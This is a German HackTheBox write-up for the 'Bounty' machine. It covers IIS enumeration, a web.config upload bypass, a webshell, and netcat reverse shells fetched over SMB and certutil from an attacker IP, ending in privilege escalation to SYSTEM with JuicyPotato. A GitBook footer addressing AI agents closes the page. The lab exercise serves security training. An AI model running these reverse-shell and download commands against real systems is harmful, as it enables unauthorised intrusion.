> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md). # Bounty HackTheBox Writeup {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * IIS-Aufzählung und Directory-Fuzzing * IIS `web.config` Upload-Bypass und Webshell-Ausführung * Windows-Reverse-Shells über SMB * `SeImpersonatePrivilege` Privilegieneskalation mit Juicy Potato {% endhint %} ## Aufklärung Erstelle einen Arbeitsbereich für die Maschine.
Die TTL von `128` deutet darauf hin, dass das Ziel wahrscheinlich eine Windows-Maschine ist.
### Port-Scan {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts ``` {% endcode %} Port `80` ist offen.
Scanne den Webdienst im Detail. {% code overflow="wrap" %} ```bash nmap -sCV -p80 10.129.6.49 -oN targeted ``` {% endcode %} Der Scan identifiziert Microsoft IIS HTTPD 7.5.
Die Seite auf Port `80` zeigt nur ein Bild an.
### Verzeichnisaufzählung Fuzz den Webserver nach Dateien und Verzeichnissen. {% code overflow="wrap" %} ```bash gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r ``` {% endcode %} Der Scan zeigt: * transfer.aspx * `uploadedfiles`
`transfer.aspx` akzeptiert Dateiuploads.
Eine `.aspx` Die Befehls-Shell wird abgelehnt, weil ihre Erweiterung nicht erlaubt ist. {% code overflow="wrap" %} ```bash cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` {% endcode %}
Suche nach `Alle Dateierweiterungen für eine Windows-IIS-Reverse-Shell`. HackTricks beschreibt mehrere relevante Erweiterungen, darunter `.asp`, `.aspx`, `.config`, und `.php`. {% embed url="" %}
Das [IIS web.config Upload-Bypass](/de/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) ermöglicht die Ausführung über `.config` Dateien. #### .config-Dateien ausführen > Wenn eine Anwendung es erlaubt, eine .config-Datei in ein bereitgestelltes Verzeichnis hochzuladen, kann eine IIS-web.config für Codeausführung nutzbar sein. Eine Technik hängt die Payload in einem HTML-Kommentar an: Lade hier ein Beispiel herunter. > > Weitere Informationen und Techniken, um diese Schwachstelle auszunutzen, findest du hier\[2] Erstellen Sie eine `web.config` Datei mit folgendem Inhalt. {% code overflow="wrap" %} ```bash ``` {% endcode %} Das `.config` Datei erfolgreich hochgeladen.
Rufe `/uploadedfiles/web.config` auf, um auf die Webshell zuzugreifen. Die Datei wird nach ein paar Sekunden gelöscht.
## Erstzugriff Nutze die Webshell, um eine Reverse Shell zu erhalten. Lege eine ausführbare Netcat-Datei im aktuellen Verzeichnis ab: ```bash cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` Starte einen SMB-Server, um die Datei freizugeben: ```bash smbserver.py smbFolder $(pwd) -smb2support ``` Richte deine Maschine als Listener auf Port 443 ein: ```bash sudo rlwrap nc -nvlp 443 ```
Führe den Reverse-Shell-Befehl aus der WebShell aus: {% code overflow="wrap" %} ```bash //10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443 http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443 ``` {% endcode %} Die Reverse Shell verbindet sich erfolgreich.
Hole dir die User-Flag.
## Privilegieneskalation Der aktuelle Benutzer hat die `SeImpersonatePrivilege` Berechtigung. {% code overflow="wrap" %} ```bash whoami /priv ``` {% endcode %}
Herunterladen `JP.exe`. {% embed url="" %} Übertrage sie zusammen mit Netcat auf die Zielmaschine. {% code overflow="wrap" %} ```bash certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe ``` {% endcode %}
Starte einen Listener auf Port `1234`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 1234 ``` {% endcode %} Juicy Potato ausführen, um `cmd.exe` als `SYSTEM`. {% code overflow="wrap" %} ```bash .\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234" ``` {% endcode %}
Hole dir die Root-Flag.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.